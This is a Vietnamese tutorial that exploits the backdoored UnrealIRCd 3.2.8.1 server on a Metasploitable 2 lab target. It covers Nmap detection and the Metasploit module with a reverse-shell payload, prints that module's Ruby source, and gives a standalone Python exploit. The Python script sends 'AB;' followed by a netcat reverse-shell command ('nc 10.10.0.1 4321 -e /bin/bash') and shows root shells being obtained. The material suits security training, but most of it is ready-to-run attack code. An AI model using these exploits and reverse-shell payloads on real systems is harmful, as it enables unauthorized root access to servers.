Một máy chủ IRC mã nguồn mở đã có từ năm 1999 và có lẽ là máy chủ được sử dụng rộng rãi nhất hiện nay. Phiên bản 3.2.8.1 dễ bị thực thi mã từ xa do có cửa hậu trong phần mềm. Hôm nay, sẽ khai thác lỗ hổng với Metasploit, kiểm tra mã cơ bản để hiểu nó và tạo phiên bản khai thác của riêng chúng ta trong Python.

Trong khoảng thời gian từ tháng 11 năm 2009 đến tháng 6 năm 2010, UnrealIRCd 3.2.8.1 có chứa một trojan cửa sau có sẵn trong kho lưu trữ tải xuống. Lỗ hổng cho phép kẻ tấn công thực thi mã tùy ý bằng cách gửi chuỗi “AB”, kích hoạt cửa sau, theo sau là tải trọng. Lệnh sẽ chạy như bất cứ người dùng nào mà trình nền IRC đang chạy, vì vậy có thể đạt được quyền truy cập cấp gốc .

Chúng tôi sẽ sử dụng Metasploitable 2 làm mục tiêu và Kali Linux làm cỗ máy tấn công.

Bước 1 Sử dụng Nmap để xác minh lỗ hổng

Điều đầu tiên chúng ta cần làm là xác định xem UnrealIRCd có hiện diện trên mục tiêu hay không. Nmap chứa một tập lệnh tiện dụng để kiểm tra xem nó có ở đó không và nó có phải là phiên bản cửa sau dễ bị tấn công không. Vì lỗ hổng này khoảng mười năm tuổi, sẽ không có nhiều trong số chúng chạy ra ngoài tự nhiên.

Các tập lệnh của Nmap được đặt trong thư mục / usr / share / nmap / scripts / . Chúng tôi có thể liệt kê nội dung của thư mục này và tìm kiếm irc bằng cách sử dụng một đường ống và lệnh grep :

~# ls /usr/share/nmap/scripts/ | grep irc

irc-botnet-channels.nse
irc-brute.nse
irc-info.nse
irc-sasl-brute.nse
irc-unrealircd-backdoor.nse

Cái cuối cùng ở trên là cái chúng ta muốn. Bây giờ chỉ cần chạy quét Nmap nhanh trên mục tiêu bằng tham số –script để chỉ định tập lệnh. Chúng tôi cũng có thể chỉ định cổng 6667 vì đây là cổng UnrealIRCd thường chạy.

~# nmap --script irc-unrealircd-backdoor.nse 10.10.0.50 -p 6667

Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-23 08:47 CDT
Nmap scan report for 10.10.0.50
Host is up (0.00068s latency).

PORT     STATE SERVICE
6667/tcp open  irc
|_irc-unrealircd-backdoor: Looks like trojaned version of unrealircd. See http://seclists.org/fulldisclosure/2010/Jun/277
MAC Address: 00:1D:09:55:B1:3B (Dell)

Nmap done: 1 IP address (1 host up) scanned in 19.56 seconds

Chúng ta có thể thấy cổng này đang mở và nó dường như là phiên bản cửa sau. Thông minh.

Bước 2 Khai thác dễ dàng với Metasploit

Chúng tôi có thể chứng minh lỗ hổng này dễ khai thác như thế nào khi sử dụng Metasploit . Bật nó lên bằng cách gõ msfconsole trong terminal. Khi nó tải, chúng ta có thể xác định vị trí khai thác bằng lệnh tìm kiếm :

msf5 > search unrealirc

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Command Execution

Và tải mô-đun bằng lệnh use :

msf5 > use exploit/unix/irc/unreal_ircd_3281_backdoor

Bây giờ chúng ta có thể xem các tùy chọn và xem những gì chúng ta cần đặt:

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target address range or CIDR identifier
   RPORT   6667             yes       The target port (TCP)

Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

Đặt rhosts thành địa chỉ IP của mục tiêu:

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhosts 10.10.0.50

rhosts => 10.10.0.50

Sau đó, chúng ta có thể xem các tải trọng có sẵn cho khai thác này bằng cách sử dụng lệnh show payloads :

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                Disclosure Date  Rank    Check  Description
   -   ----                                ---------------  ----    -----  -----------
   1   cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   2   cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   3   cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   4   cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   5   cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   6   cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   7   cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   8   cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   9   cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   10  cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   11  cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   12  cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

Chúng tôi sẽ sử dụng một shell lệnh đảo ngược Unix đơn giản. Sử dụng thiết lập tải trọng để tải trọng tải mong muốn:

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse

payload => cmd/unix/reverse

Vì chúng ta đang sử dụng shell ngược , bây giờ chúng ta cần đặt máy chủ và cổng nghe. Sử dụng địa chỉ IP của máy cục bộ của bạn và cổng bạn chọn:

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 10.10.0.1

lhost => 10.10.0.1

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lport 1234

lport => 1234

Cuối cùng, gõ run để khởi chạy khai thác:

msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP double handler on 10.10.0.1:1234
[*] 10.10.0.50:6667 - Connected to 10.10.0.50:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
[*] 10.10.0.50:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo G3vd0zQXK0P3fLA7;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "G3vd0zQXK0P3fLA7\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.0.1:1234 -> 10.10.0.50:52857) at 2019-05-23 08:52:22 -0500

Chúng tôi thấy kết thúc khai thác và một vỏ lệnh được mở. Bây giờ chúng ta có thể chạy các lệnh hệ thống trên mục tiêu, chẳng hạn như id , để xem người dùng hiện tại và uname -a , để xem thông tin hệ điều hành:

id

uid=0(root) gid=0(root)

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Bây giờ chúng ta đã thấy việc khai thác dễ dàng như thế nào, chúng ta hãy xem mã để biết chính xác những gì xảy ra đằng sau hậu trường.

Bước 3Kiểm tra mã Ruby

Các mô-đun Metasploit được viết bằng Ruby và cung cấp một cách thuận tiện để giao diện với khung để giúp mọi người dễ dàng sử dụng. Những thứ như thiết lập tải trọng và các tùy chọn khác được xử lý bởi khung, giúp các nhà phát triển khai thác dễ dàng tạo ra một mô-đun tùy chỉnh.

Mô-đun UnrealIRCd mà chúng ta vừa chạy nằm trong thư mục sau:

/usr/share/metasploit-framework/modules/exploits/unix/irc/

Trong một cửa sổ terminal mới, chúng ta xem đoạn code:

~# cat /usr/share/metasploit-framework/modules/exploits/unix/irc/unreal_ircd_3281_backdoor.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-2075' ],
          [ 'OSVDB', '65445' ],
          [ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby telnet',
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Jun 12 2010'))

    register_options(
      [
        Opt::RPORT(6667)
      ])
  end

  def exploit
    connect

    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    # Wait for the request to be handled
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

Hãy phá vỡ điều này và xem xét nửa đầu của mã:

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-2075' ],
          [ 'OSVDB', '65445' ],
          [ 'URL', 'http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 1024,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl ruby telnet',
            }
        },
      'Targets'        =>
        [
          [ 'Automatic Target', { }]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Jun 12 2010'))

    register_options(
      [
        Opt::RPORT(6667)
      ])
  end

Phần trên là phần tích hợp với Metasploit Framework, khởi tạo mô-đun, đưa ra mô tả về khai thác và xử lý tất cả các tùy chọn.

Nửa sau của mã là nơi có chứa thông tin

def exploit
    connect

    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    # Wait for the request to be handled
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

Mã đó kết nối với máy chủ từ xa và gửi lệnh backdoor, đó là chuỗi “AB” theo sau là tải trọng và ký tự dòng mới:

sock.put("AB;" + payload.encoded + "\n")

Sau đó, nó đảm bảo một phiên được tạo và ngắt kết nối. Theo như khai thác, điều này là tương đối đơn giản.

Vì Python được cho là dễ tiếp cận hơn Ruby, đặc biệt là cho người mới bắt đầu, chúng ta hãy viết một kịch bản nhanh bằng Python để khai thác lỗ hổng này.

Bước 4Khai thác cổng sang Python

Để bắt đầu khai thác của chúng tôi, hãy tạo tệp Python bằng nano :

~# nano irc.py

Tiếp theo, chúng ta cần nói cho kịch bản cách thực thi bằng cách chỉ định đường dẫn của nhị phân Python của chúng ta. Đặt dòng này ở đầu tệp:

#!/usr/bin/python

Sau đó, chúng tôi có thể nhập gói ổ cắm, cho phép chúng tôi kết nối với máy chủ từ xa:

import socket

Chúng ta có thể đặt một số biến để giữ mọi thứ được tổ chức, trong đó rhost sẽ là địa chỉ IP của mục tiêu, rport sẽ là 6667, cổng UnrealIRCd chạy và tải trọng sẽ là lệnh chúng ta muốn thực hiện trên mục tiêu.

rhost = '10.10.0.50'
rport = 6667
payload = 'sh -c nc 10.10.0.1 4321 -e /bin/bash'

Phần sh -c gọi shell chạy lệnh. Trong trường hợp này, Netcat , sẽ kết nối trở lại máy cục bộ của chúng tôi và tạo ra một vỏ BASH. Hãy chắc chắn để thay thế địa chỉ IP của riêng bạn.

Bây giờ các biến của chúng ta đã được đặt, chúng ta cần mã để kết nối với máy chủ từ xa:

s = socket.socket()
s.connect((rhost, rport))
s.recv(1024)
s.send('AB; ' + payload + '\n')
s.close()

Dòng đầu tiên này tạo ra một kết nối ổ cắm mới. Dòng tiếp theo kết nối với máy chủ và cổng từ xa. Dòng sau nhận được phản hồi từ mục tiêu lên tới 1024 byte. Khi kết nối được thiết lập, dòng tiếp theo sẽ gửi lệnh để kích hoạt cửa sau, bao gồm cả tải trọng chúng tôi đã chỉ định trước đó. Cuối cùng, kết nối được đóng lại.

Đó phải là tất cả các mã chúng ta cần. Kịch bản cuối cùng sẽ trông như thế này:

#!/usr/bin/python

import socket

rhost = ‘10.10.0.50’
rport = 6667
payload = ‘sh -c nc 10.10.0.1 4321 -e /bin/bash’

s = socket.socket()
s.connect((rhost, rport))
s.recv(1024)
s.send(‘AB; ‘ + payload + ‘\n’)
s.close()

Hãy ghi nhớ, đây chỉ là một bằng chứng đơn giản. Chúng tôi cũng có thể thêm thông báo trạng thái và xử lý lỗi nếu chúng tôi muốn, nhưng bây giờ, điều này sẽ hoạt động.

Bước 5 Chạy Khai thác

Cuối cùng chúng tôi đã sẵn sàng để chạy khai thác Python của chúng tôi. Trong tab hoặc cửa sổ mới, hãy khởi động trình nghe trên bất kỳ cổng nào bạn đã chỉ định trước đó trong tập lệnh:

~# nc -lvp 4321

listening on [any] 4321 ...

Và thực thi kịch bản với lệnh python :

python irc.py

Nếu mọi thứ hoạt động tốt, chúng ta sẽ thấy một kết nối được mở trên trình nghe của mình và chúng ta có thể chạy các lệnh như id và uname -a để xác minh rằng chúng ta đã root:

10.10.0.50: inverse host lookup failed: Unknown host
connect to [10.10.0.1] from (UNKNOWN) [10.10.0.50] 41418

id

uid=0(root) gid=0(root) groups=0(root)

uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Xin lưu ý: vì một số lý do, tôi không thể thực hiện điều này mỗi lần, vì vậy nếu nó không hoạt động, hãy thử lại và nên thực hiện. Tôi thấy nó hoạt động tốt nhất sau khi khởi động lại hệ thống đích.


Để lại một bình luận